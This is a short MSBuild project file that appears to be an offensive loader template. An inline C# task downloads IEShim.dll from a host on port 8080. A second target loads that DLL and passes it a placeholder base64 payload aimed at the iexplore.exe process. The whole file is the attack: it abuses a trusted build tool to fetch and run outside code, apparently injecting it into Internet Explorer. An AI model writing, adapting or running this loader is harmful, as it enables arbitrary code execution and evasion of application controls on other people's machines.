msbuildapicaller.csproj

msbuildapicaller.csproj

<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

   <UsingTask TaskName="DownloadFile" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
      <ParameterGroup>
         <Address ParameterType="System.String" Required="true" />
         <FileName ParameterType="System.String" Required="true" />
      </ParameterGroup>
      <Task>
         <Reference Include="System" />
         <Code Type="Fragment" Language="cs"><![CDATA[new System.Net.WebClient().DownloadFile(Address, FileName);]]></Code>
      </Task>
   </UsingTask>
   
   <Target Name="DownloadSomething">
      <DownloadFile Address="http://localhost:8080/IEShim.dll" FileName="localfilepath" />
   </Target>
   
   <Target Name="MyTarget">
      <SimpleTask MyCode="base64 here.." MyProcess="C:\Program Files\Internet Explorer\iexplore.exe" />
   </Target>
   <UsingTask TaskName="SimpleTask" AssemblyFile="IEShim.dll" />
</Project>